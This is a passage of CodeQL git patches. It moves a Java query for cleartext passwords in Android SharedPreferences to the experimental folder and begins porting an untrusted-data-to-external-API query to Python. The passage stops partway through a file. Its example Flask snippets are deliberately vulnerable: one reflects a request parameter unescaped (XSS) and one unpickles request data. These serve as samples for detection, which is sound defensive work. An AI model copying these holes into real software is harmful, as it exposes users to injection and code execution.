.../CWE-312/CleartextStorageSharedPrefs.java} | 0 .../CleartextStorageSharedPrefs.qhelp} | 2 +- .../CWE-312/CleartextStorageSharedPrefs.ql | 167 ++++++++++++++++++ .../frameworks/android/SharedPreferences.qll | 64 ++++--- .../CleartextStorageSharedPrefs.expected | 22 +++ .../CWE-312/CleartextStorageSharedPrefs.java} | 2 +- .../CWE-312/CleartextStorageSharedPrefs.qlref | 1 + .../query-tests/security/CWE-312}/options | 2 +- .../ClearTextStorageSharedPrefs.expected | 1 - .../tests/ClearTextStorageSharedPrefs.qlref | 1 - 12 files changed, 224 insertions(+), 175 deletions(-) delete mode 100644 java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql rename java/ql/src/{Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java => experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.java} (100%) rename java/ql/src/{Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp => experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.qhelp} (96%) create mode 100644 java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql create mode 100644 java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.expected rename java/ql/test/{query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.java => experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.java} (98%) create mode 100644 java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.qlref rename java/ql/test/{query-tests/security/CWE-312/semmle/tests => experimental/query-tests/security/CWE-312}/options (64%) delete mode 100644 java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.expected delete mode 100644 java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.qlref diff --git a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql deleted file mode 100644 index 20b90c5a33d..00000000000 --- a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql +++ /dev/null @@ -1,22 +0,0 @@ -/** - * @name Cleartext storage of sensitive information using `SharedPreferences` on Android - * @description Cleartext Storage of Sensitive Information using SharedPreferences on Android allows access for users with root privileges or unexpected exposure from chained vulnerabilities. - * @kind problem - * @id java/android/cleartext-storage-shared-prefs - * @tags security - * external/cwe/cwe-312 - */ - -import java -import SensitiveStorage - -from SensitiveSource data, SharedPreferencesEditor s, Expr input, Expr store -where - input = s.getAnInput() and - store = s.getAStore() and - data.flowsToCached(input) and - // Exclude results in test code. - not testMethod(store.getEnclosingCallable()) and - not testMethod(data.getEnclosingCallable()) -select store, "'SharedPreferences' class $@ containing $@ is stored here. Data was added $@.", s, - s.toString(), data, "sensitive data", input, "here" diff --git a/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll b/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll index bc629532b9f..b07105e3bf5 100644 --- a/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll +++ b/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll @@ -1,11 +1,9 @@ import java import semmle.code.java.frameworks.Properties import semmle.code.java.frameworks.JAXB -import semmle.code.java.frameworks.android.SharedPreferences import semmle.code.java.dataflow.TaintTracking import semmle.code.java.dataflow.DataFlow3 import semmle.code.java.dataflow.DataFlow4 -import semmle.code.java.dataflow.DataFlow5 import semmle.code.java.security.SensitiveActions /** Test code filter. */ @@ -30,11 +28,6 @@ private class SensitiveSourceFlowConfig extends TaintTracking::Configuration { m.getMethod() instanceof PropertiesSetPropertyMethod and sink.asExpr() = m.getArgument(1) ) or - exists(MethodAccess m | - m.getMethod() instanceof SharedPreferences::SharedPreferencesSetMethod and - sink.asExpr() = m.getArgument(1) - ) - or sink.asExpr() = getInstanceInput(_, _) } @@ -250,111 +243,3 @@ class Marshallable extends ClassStore { ) } } - -/* Holds if the method call is a setter method of `SharedPreferences`. */ -private predicate sharedPreferencesInput(DataFlow::Node sharedPrefs, Expr input) { - exists(MethodAccess m | - m.getMethod() instanceof SharedPreferences::SharedPreferencesSetMethod and - input = m.getArgument(1) and - not exists(EncryptedValueFlowConfig conf | conf.hasFlow(_, DataFlow::exprNode(input))) and - sharedPrefs.asExpr() = m.getQualifier() - ) -} - -/* Holds if the method call is the store method of `SharedPreferences`. */ -private predicate sharedPreferencesStore(DataFlow::Node sharedPrefs, Expr store) { - exists(MethodAccess m | - m.getMethod() instanceof SharedPreferences::SharedPreferencesStoreMethod and - store = m and - sharedPrefs.asExpr() = m.getQualifier() - ) -} - -/* Flow from `SharedPreferences` to either a setter or a store method. */ -class SharedPreferencesFlowConfig extends TaintTracking::Configuration { - SharedPreferencesFlowConfig() { this = "SensitiveStorage::SharedPreferencesFlowConfig" } - - override predicate isSource(DataFlow::Node src) { - src.asExpr() instanceof SharedPreferencesEditor - } - - override predicate isSink(DataFlow::Node sink) { - sharedPreferencesInput(sink, _) or - sharedPreferencesStore(sink, _) - } -} - -/** - * Method call of encrypting sensitive information. - * As there are various implementations of encryption (reversible and non-reversible) from both JDK and third parties, this class simply checks method name to take a best guess to reduce false positives. - */ -class EncryptedSensitiveMethodAccess extends MethodAccess { - EncryptedSensitiveMethodAccess() { - getMethod().getName().toLowerCase().matches(["%encrypt%", "%hash%"]) - } -} - -/* Flow configuration of encrypting sensitive information. */ -class EncryptedValueFlowConfig extends DataFlow5::Configuration { - EncryptedValueFlowConfig() { this = "SensitiveStorage::EncryptedValueFlowConfig" } - - override predicate isSource(DataFlow5::Node src) { - exists(EncryptedSensitiveMethodAccess ema | src.asExpr() = ema.getAnArgument()) - } - - override predicate isSink(DataFlow5::Node sink) { - exists(MethodAccess ma | - ma.getMethod() instanceof SharedPreferences::SharedPreferencesSetMethod and - sink.asExpr() = ma.getArgument(1) - ) - } - - override predicate isAdditionalFlowStep(DataFlow5::Node n1, DataFlow5::Node n2) { - exists(EncryptedSensitiveMethodAccess ema | - n1.asExpr() = ema.getAnArgument() and - n2.asExpr() = ema - ) - } -} - -/* Flow from the create method of `androidx.security.crypto.EncryptedSharedPreferences` to its instance. */ -private class EncryptedSharedPrefFlowConfig extends DataFlow3::Configuration { - EncryptedSharedPrefFlowConfig() { this = "SensitiveStorage::EncryptedSharedPrefFlowConfig" } - - override predicate isSource(DataFlow::Node src) { - src.asExpr().(MethodAccess).getMethod() instanceof - SharedPreferences::EncryptedSharedPrefsCreateMethod - } - - override predicate isSink(DataFlow::Node sink) { - sink.asExpr().getType() instanceof SharedPreferences::TypeSharedPreferences - } -} - -/** The call to get a `SharedPreferences.Editor` object, which can set shared preferences or be stored to device. */ -class SharedPreferencesEditor extends MethodAccess { - SharedPreferencesEditor() { - this.getMethod() instanceof SharedPreferences::SharedPreferencesGetEditorMethod and - not exists( - EncryptedSharedPrefFlowConfig config // not exists `SharedPreferences sharedPreferences = EncryptedSharedPreferences.create(...)` - | - config.hasFlow(_, DataFlow::exprNode(this.getQualifier())) - ) - } - - /** Gets an input, for example `input` in `editor.putString("password", password);`. */ - Expr getAnInput() { - exists(SharedPreferencesFlowConfig conf, DataFlow::Node n | - sharedPreferencesInput(n, result) and - conf.hasFlow(DataFlow::exprNode(this), n) - ) - } - - /** Gets a store, for example `editor.commit();`. */ - Expr getAStore() { - exists(SharedPreferencesFlowConfig conf, DataFlow::Node n | - sharedPreferencesStore(n, result) and - conf.hasFlow(DataFlow::exprNode(this), n) - ) - } -} diff --git a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.java similarity index 100% rename from java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java rename to java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.java diff --git a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.qhelp similarity index 96% rename from java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp rename to java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.qhelp index 681ff9fe95e..90f87f30b91 100644 --- a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.qhelp @@ -20,7 +20,7 @@

    In the second and third examples, the code encrypts sensitive information before saving it to the device.

    - + diff --git a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql new file mode 100644 index 00000000000..7d03b79882a --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql @@ -0,0 +1,167 @@ +/** + * @name Cleartext storage of sensitive information using `SharedPreferences` on Android + * @description Cleartext Storage of Sensitive Information using SharedPreferences on Android allows access for users with root privileges or unexpected exposure from chained vulnerabilities. + * @kind path-problem + * @id java/android/cleartext-storage-shared-prefs + * @tags security + * external/cwe/cwe-312 + */ + +import java +import semmle.code.java.dataflow.DataFlow4 +import semmle.code.java.dataflow.DataFlow5 +import semmle.code.java.dataflow.TaintTracking +import semmle.code.java.frameworks.android.Intent +import semmle.code.java.frameworks.android.SharedPreferences +import semmle.code.java.security.SensitiveActions +import DataFlow::PathGraph + +/** Holds if the method call is a setter method of `SharedPreferences`. */ +private predicate sharedPreferencesInput(DataFlow::Node sharedPrefs, Expr input) { + exists(MethodAccess m | + m.getMethod() instanceof SharedPreferences::SetPreferenceMethod and + input = m.getArgument(1) and + not exists(EncryptedValueFlowConfig conf | conf.hasFlow(_, DataFlow::exprNode(input))) and + sharedPrefs.asExpr() = m.getQualifier() + ) +} + +/** Holds if the method call is the store method of `SharedPreferences`. */ +private predicate sharedPreferencesStore(DataFlow::Node sharedPrefs, Expr store) { + exists(MethodAccess m | + m.getMethod() instanceof SharedPreferences::StorePreferenceMethod and + store = m and + sharedPrefs.asExpr() = m.getQualifier() + ) +} + +/** Flow from `SharedPreferences` to either a setter or a store method. */ +class SharedPreferencesFlowConfig extends TaintTracking::Configuration { + SharedPreferencesFlowConfig() { + this = "CleartextStorageSharedPrefs::SharedPreferencesFlowConfig" + } + + override predicate isSource(DataFlow::Node src) { + src.asExpr() instanceof SharedPreferencesEditor + } + + override predicate isSink(DataFlow::Node sink) { + sharedPreferencesInput(sink, _) or + sharedPreferencesStore(sink, _) + } +} + +/** + * Method call of encrypting sensitive information. + * As there are various implementations of encryption (reversible and non-reversible) from both JDK and third parties, this class simply checks method name to take a best guess to reduce false positives. + */ +class EncryptedSensitiveMethodAccess extends MethodAccess { + EncryptedSensitiveMethodAccess() { + getMethod().getName().toLowerCase().matches(["%encrypt%", "%hash%"]) + } +} + +/** Flow configuration of encrypting sensitive information. */ +class EncryptedValueFlowConfig extends DataFlow5::Configuration { + EncryptedValueFlowConfig() { this = "CleartextStorageSharedPrefs::EncryptedValueFlowConfig" } + + override predicate isSource(DataFlow5::Node src) { + exists(EncryptedSensitiveMethodAccess ema | src.asExpr() = ema.getAnArgument()) + } + + override predicate isSink(DataFlow5::Node sink) { + exists(MethodAccess ma | + ma.getMethod() instanceof SharedPreferences::SetPreferenceMethod and + sink.asExpr() = ma.getArgument(1) + ) + } + + override predicate isAdditionalFlowStep(DataFlow5::Node n1, DataFlow5::Node n2) { + exists(EncryptedSensitiveMethodAccess ema | + n1.asExpr() = ema.getAnArgument() and + n2.asExpr() = ema + ) + } +} + +/** Flow from the create method of `androidx.security.crypto.EncryptedSharedPreferences` to its instance. */ +private class EncryptedSharedPrefFlowConfig extends DataFlow4::Configuration { + EncryptedSharedPrefFlowConfig() { + this = "CleartextStorageSharedPrefs::EncryptedSharedPrefFlowConfig" + } + + override predicate isSource(DataFlow4::Node src) { + src.asExpr().(MethodAccess).getMethod() instanceof SharedPreferences::CreateEncryptedPrefsMethod + } + + override predicate isSink(DataFlow4::Node sink) { + sink.asExpr().getType() instanceof SharedPreferences::TypePrefs + } +} + +/** The call to get a `SharedPreferences.Editor` object, which can set shared preferences or be stored to device. */ +class SharedPreferencesEditor extends MethodAccess { + SharedPreferencesEditor() { + this.getMethod() instanceof SharedPreferences::GetEditorMethod and + not exists( + EncryptedSharedPrefFlowConfig config // not exists `SharedPreferences sharedPreferences = EncryptedSharedPreferences.create(...)` + | + config.hasFlow(_, DataFlow::exprNode(this.getQualifier())) + ) + } + + /** Gets an input, for example `input` in `editor.putString("password", password);`. */ + Expr getAnInput() { + exists(SharedPreferencesFlowConfig conf, DataFlow::Node n | + sharedPreferencesInput(n, result) and + conf.hasFlow(DataFlow::exprNode(this), n) + ) + } + + /** Gets a store, for example `editor.commit();`. */ + Expr getAStore() { + exists(SharedPreferencesFlowConfig conf, DataFlow::Node n | + sharedPreferencesStore(n, result) and + conf.hasFlow(DataFlow::exprNode(this), n) + ) + } +} + +private class SensitiveSharedPrefsFlowConfig extends TaintTracking::Configuration { + SensitiveSharedPrefsFlowConfig() { + this = "CleartextStorageSharedPrefs::SensitiveSharedPrefsFlowConfig" + } + + override predicate isSource(DataFlow::Node src) { src.asExpr() instanceof SensitiveExpr } + + override predicate isSink(DataFlow::Node sink) { + exists(MethodAccess m | + m.getMethod() instanceof SharedPreferences::SetPreferenceMethod and + sink.asExpr() = m.getArgument(1) + ) + } +} + +/** Class for shared preferences that may contain 'sensitive' information */ +class SensitiveSharedPrefsSource extends Expr { + SensitiveSharedPrefsSource() { + // SensitiveExpr is abstract, this lets us inherit from it without + // being a technical subclass + this instanceof SensitiveExpr + } + + /** Holds if this source flows to the `sink`. */ + predicate flowsTo(Expr sink) { + exists(SensitiveSharedPrefsFlowConfig conf | + conf.hasFlow(DataFlow::exprNode(this), DataFlow::exprNode(sink)) + ) + } +} + +from SensitiveSharedPrefsSource data, SharedPreferencesEditor s, Expr input, Expr store +where + input = s.getAnInput() and + store = s.getAStore() and + data.flowsTo(input) +select store, "'SharedPreferences' class $@ containing $@ is stored here. Data was added $@.", s, + s.toString(), data, "sensitive data", input, "here" diff --git a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll index 59657ffb6e6..2f3a98162a0 100644 --- a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll +++ b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll @@ -1,63 +1,61 @@ import semmle.code.java.Type -/* Definitions related to `android.content.SharedPreferences`. */ +/** Definitions related to `android.content.SharedPreferences`. */ module SharedPreferences { - /* The interface `android.content.SharedPreferences` */ - class TypeSharedPreferences extends Interface { - TypeSharedPreferences() { hasQualifiedName("android.content", "SharedPreferences") } + /** The interface `android.content.SharedPreferences` */ + class TypePrefs extends Interface { + TypePrefs() { hasQualifiedName("android.content", "SharedPreferences") } } - /* The class `androidx.security.crypto.EncryptedSharedPreferences`, which implements `SharedPreferences` with encryption support. */ - class TypeEncryptedSharedPreferences extends Class { - TypeEncryptedSharedPreferences() { + /** The class `androidx.security.crypto.EncryptedSharedPreferences`, which implements `SharedPreferences` with encryption support. */ + class TypeEncryptedPrefs extends Class { + TypeEncryptedPrefs() { hasQualifiedName("androidx.security.crypto", "EncryptedSharedPreferences") } } - /* The create method of `androidx.security.crypto.EncryptedSharedPreferences` */ - class EncryptedSharedPrefsCreateMethod extends Method { - EncryptedSharedPrefsCreateMethod() { - getDeclaringType() instanceof TypeEncryptedSharedPreferences and + /** The create method of `androidx.security.crypto.EncryptedSharedPreferences` */ + class CreateEncryptedPrefsMethod extends Method { + CreateEncryptedPrefsMethod() { + getDeclaringType() instanceof TypeEncryptedPrefs and hasName("create") } } - /* A getter method of `android.content.SharedPreferences`. */ - class SharedPreferencesGetMethod extends Method { - SharedPreferencesGetMethod() { - getDeclaringType() instanceof TypeSharedPreferences and + /** A getter method of `android.content.SharedPreferences`. */ + class GetPreferenceMethod extends Method { + GetPreferenceMethod() { + getDeclaringType() instanceof TypePrefs and getName().matches("get%") } } - /* Returns `android.content.SharedPreferences.Editor` from the `edit` call of `android.content.SharedPreferences`. */ - class SharedPreferencesGetEditorMethod extends Method { - SharedPreferencesGetEditorMethod() { - getDeclaringType() instanceof TypeSharedPreferences and + /** Returns `android.content.SharedPreferences.Editor` from the `edit` call of `android.content.SharedPreferences`. */ + class GetEditorMethod extends Method { + GetEditorMethod() { + getDeclaringType() instanceof TypePrefs and hasName("edit") and - getReturnType() instanceof TypeSharedPreferencesEditor + getReturnType() instanceof TypeEditor } } - /* Definitions related to `android.content.SharedPreferences.Editor`. */ - class TypeSharedPreferencesEditor extends Interface { - TypeSharedPreferencesEditor() { - hasQualifiedName("android.content", "SharedPreferences$Editor") - } + /** Definitions related to `android.content.SharedPreferences.Editor`. */ + class TypeEditor extends Interface { + TypeEditor() { hasQualifiedName("android.content", "SharedPreferences$Editor") } } - /* A setter method for `android.content.SharedPreferences`. */ - class SharedPreferencesSetMethod extends Method { - SharedPreferencesSetMethod() { - getDeclaringType() instanceof TypeSharedPreferencesEditor and + /** A setter method for `android.content.SharedPreferences`. */ + class SetPreferenceMethod extends Method { + SetPreferenceMethod() { + getDeclaringType() instanceof TypeEditor and getName().matches("put%") } } - /* A setter method for `android.content.SharedPreferences`. */ - class SharedPreferencesStoreMethod extends Method { - SharedPreferencesStoreMethod() { - getDeclaringType() instanceof TypeSharedPreferencesEditor and + /** A setter method for `android.content.SharedPreferences`. */ + class StorePreferenceMethod extends Method { + StorePreferenceMethod() { + getDeclaringType() instanceof TypeEditor and hasName(["commit", "apply"]) } } diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.expected b/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.expected new file mode 100644 index 00000000000..ad8b4416e75 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.expected @@ -0,0 +1,22 @@ +edges +| CleartextStorageSharedPrefs.java:16:19:16:36 | edit(...) : Editor | CleartextStorageSharedPrefs.java:17:3:17:8 | editor | +| CleartextStorageSharedPrefs.java:16:19:16:36 | edit(...) : Editor | CleartextStorageSharedPrefs.java:18:3:18:8 | editor | +| CleartextStorageSharedPrefs.java:16:19:16:36 | edit(...) : Editor | CleartextStorageSharedPrefs.java:19:3:19:8 | editor | +| CleartextStorageSharedPrefs.java:25:19:25:36 | edit(...) : Editor | CleartextStorageSharedPrefs.java:28:3:28:8 | editor | +| CleartextStorageSharedPrefs.java:44:19:44:36 | edit(...) : Editor | CleartextStorageSharedPrefs.java:47:3:47:8 | editor | +nodes +| CleartextStorageSharedPrefs.java:16:19:16:36 | edit(...) : Editor | semmle.label | edit(...) : Editor | +| CleartextStorageSharedPrefs.java:17:3:17:8 | editor | semmle.label | editor | +| CleartextStorageSharedPrefs.java:18:3:18:8 | editor | semmle.label | editor | +| CleartextStorageSharedPrefs.java:18:32:18:39 | password | semmle.label | password | +| CleartextStorageSharedPrefs.java:19:3:19:8 | editor | semmle.label | editor | +| CleartextStorageSharedPrefs.java:25:19:25:36 | edit(...) : Editor | semmle.label | edit(...) : Editor | +| CleartextStorageSharedPrefs.java:28:3:28:8 | editor | semmle.label | editor | +| CleartextStorageSharedPrefs.java:44:19:44:36 | edit(...) : Editor | semmle.label | edit(...) : Editor | +| CleartextStorageSharedPrefs.java:46:32:46:42 | encPassword | semmle.label | encPassword | +| CleartextStorageSharedPrefs.java:47:3:47:8 | editor | semmle.label | editor | +| CleartextStorageSharedPrefs.java:67:32:67:39 | password | semmle.label | password | +| CleartextStorageSharedPrefs.java:87:32:87:39 | password | semmle.label | password | +| CleartextStorageSharedPrefs.java:105:27:105:34 | password | semmle.label | password | +#select +| CleartextStorageSharedPrefs.java:19:3:19:17 | commit(...) | 'SharedPreferences' class $@ containing $@ is stored here. Data was added $@. | CleartextStorageSharedPrefs.java:16:19:16:36 | edit(...) | edit(...) | CleartextStorageSharedPrefs.java:18:32:18:39 | password | sensitive data | CleartextStorageSharedPrefs.java:18:32:18:39 | password | here | diff --git a/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.java b/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.java similarity index 98% rename from java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.java rename to java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.java index dbc1f54b59c..51a92314c67 100644 --- a/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.java +++ b/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.java @@ -9,7 +9,7 @@ import java.util.Base64; import java.security.MessageDigest; /* Android activity that tests saving sensitive information in `SharedPreferences` */ -public class ClearTextStorageSharedPrefs extends Activity { +public class CleartextStorageSharedPrefs extends Activity { // BAD - save sensitive information in cleartext public void testSetSharedPrefs1(Context context, String name, String password) { SharedPreferences sharedPrefs = context.getSharedPreferences("user_prefs", Context.MODE_PRIVATE); diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.qlref b/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.qlref new file mode 100644 index 00000000000..9319c78be05 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql diff --git a/java/ql/test/query-tests/security/CWE-312/semmle/tests/options b/java/ql/test/experimental/query-tests/security/CWE-312/options similarity index 64% rename from java/ql/test/query-tests/security/CWE-312/semmle/tests/options rename to java/ql/test/experimental/query-tests/security/CWE-312/options index 81fb6f970ab..43e25f608b6 100644 --- a/java/ql/test/query-tests/security/CWE-312/semmle/tests/options +++ b/java/ql/test/experimental/query-tests/security/CWE-312/options @@ -1 +1 @@ -// semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../stubs/google-android-9.0.0 +// semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/google-android-9.0.0 diff --git a/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.expected b/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.expected deleted file mode 100644 index 592a74db89d..00000000000 --- a/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.expected +++ /dev/null @@ -1 +0,0 @@ -| ClearTextStorageSharedPrefs.java:19:3:19:17 | commit(...) | 'SharedPreferences' class $@ containing $@ is stored here. Data was added $@. | ClearTextStorageSharedPrefs.java:16:19:16:36 | edit(...) | edit(...) | ClearTextStorageSharedPrefs.java:18:32:18:39 | password | sensitive data | ClearTextStorageSharedPrefs.java:18:32:18:39 | password | here | diff --git a/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.qlref b/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.qlref deleted file mode 100644 index a7547b790fd..00000000000 --- a/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.qlref +++ /dev/null @@ -1 +0,0 @@ -Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql From 7e3dbb0149bedc1a40e1531cf3a1be52bd4f0921 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Thu, 12 Nov 2020 18:01:28 +0100 Subject: [PATCH 0080/1241] Python: Add Unit helper library Like Java did in https://github.com/github/codeql/pull/4184 --- python/ql/src/python.qll | 1 + python/ql/src/semmle/python/Unit.qll | 10 ++++++++++ .../dataflow/new/internal/TaintTrackingPublic.qll | 9 --------- 3 files changed, 11 insertions(+), 9 deletions(-) create mode 100644 python/ql/src/semmle/python/Unit.qll diff --git a/python/ql/src/python.qll b/python/ql/src/python.qll index dca113780ca..58908fa091f 100644 --- a/python/ql/src/python.qll +++ b/python/ql/src/python.qll @@ -35,6 +35,7 @@ import semmle.python.pointsto.Base import semmle.python.pointsto.Context import semmle.python.pointsto.CallGraph import semmle.python.objects.ObjectAPI +import semmle.python.Unit import site // Removing this import perturbs the compilation process enough that the points-to analysis gets // compiled -- and cached -- differently depending on whether the data flow library is imported. By diff --git a/python/ql/src/semmle/python/Unit.qll b/python/ql/src/semmle/python/Unit.qll new file mode 100644 index 00000000000..e9611ed3df4 --- /dev/null +++ b/python/ql/src/semmle/python/Unit.qll @@ -0,0 +1,10 @@ +/** Provides the `Unit` class. */ + +/** The unit type. */ +private newtype TUnit = TMkUnit() + +/** The trivial type with a single element. */ +class Unit extends TUnit { + /** Gets a textual representation of this element. */ + string toString() { result = "unit" } +} diff --git a/python/ql/src/semmle/python/dataflow/new/internal/TaintTrackingPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/TaintTrackingPublic.qll index 849329bae55..53697f0e4ab 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/TaintTrackingPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/TaintTrackingPublic.qll @@ -35,15 +35,6 @@ predicate localTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { localAdditionalTaintStep(nodeFrom, nodeTo) } -// AdditionalTaintStep for global taint flow -private newtype TUnit = TMkUnit() - -/** A singleton class containing a single dummy "unit" value. */ -private class Unit extends TUnit { - /** Gets a textual representation of this element. */ - string toString() { result = "unit" } -} - /** * A unit class for adding additional taint steps. * From 9e4910f8631f134e9ae0e906d7feb486f45ab02d Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Thu, 26 Nov 2020 11:34:39 +0100 Subject: [PATCH 0081/1241] Python: Untrusted data used in external APIs A port of the one for Java that was added in https://github.com/github/codeql/pull/3938 --- .../ExternalAPISinkExample.py | 7 + .../ExternalAPITaintStepExample.py | 12 ++ .../CWE-020-ExternalAPIs/ExternalAPIs.qll | 196 ++++++++++++++++++ .../ExternalAPIsUsedWithUntrustedData.qhelp | 61 ++++++ .../ExternalAPIsUsedWithUntrustedData.ql | 17 ++ .../UntrustedDataToExternalAPI.qhelp | 74 +++++++ .../UntrustedDataToExternalAPI.ql | 23 ++ ...ExternalAPIsUsedWithUntrustedData.expected | 1 + .../ExternalAPIsUsedWithUntrustedData.qlref | 1 + .../UntrustedDataToExternalAPI.expected | 7 + .../UntrustedDataToExternalAPI.qlref | 1 + .../Security/CWE-020-ExternalAPIs/test.py | 35 ++++ 12 files changed, 435 insertions(+) create mode 100644 python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPISinkExample.py create mode 100644 python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPITaintStepExample.py create mode 100644 python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIs.qll create mode 100644 python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qhelp create mode 100644 python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.ql create mode 100644 python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qhelp create mode 100644 python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql create mode 100644 python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected create mode 100644 python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qlref create mode 100644 python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected create mode 100644 python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qlref create mode 100644 python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py diff --git a/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPISinkExample.py b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPISinkExample.py new file mode 100644 index 00000000000..8b944cb0a95 --- /dev/null +++ b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPISinkExample.py @@ -0,0 +1,7 @@ +from flask import Flask, request, make_response +app = Flask(__name__) + +@app.route("/xss") +def xss(): + username = request.args.get("username") + return make_response("Hello {}".format(username)) diff --git a/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPITaintStepExample.py b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPITaintStepExample.py new file mode 100644 index 00000000000..5b9ae4821e7 --- /dev/null +++ b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPITaintStepExample.py @@ -0,0 +1,12 @@ +import base64 +import pickle + +from flask import Flask, request, make_response +app = Flask(__name__) + +@app.route("/example") +def profile(): + raw_data = request.args.get("data").encode('utf-8') + data = base64.decodebytes(raw_data) + obj = pickle.loads(data) + ... diff --git a/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIs.qll b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIs.qll new file mode 100644 index 00000000000..da52edd6af1 --- /dev/null +++ b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIs.qll @@ -0,0 +1,196 @@ +/** + * Definitions for reasoning about untrusted data used in APIs defined outside the + * database. + */ + +import python +import semmle.python.dataflow.new.DataFlow +import semmle.python.dataflow.new.TaintTracking +import semmle.python.Concepts +import semmle.python.dataflow.new.RemoteFlowSources +private import semmle.python.dataflow.new.internal.DataFlowPrivate as DataFlowPrivate +private import semmle.python.dataflow.new.internal.TaintTrackingPrivate as TaintTrackingPrivate +private import semmle.python.types.Builtins +private import 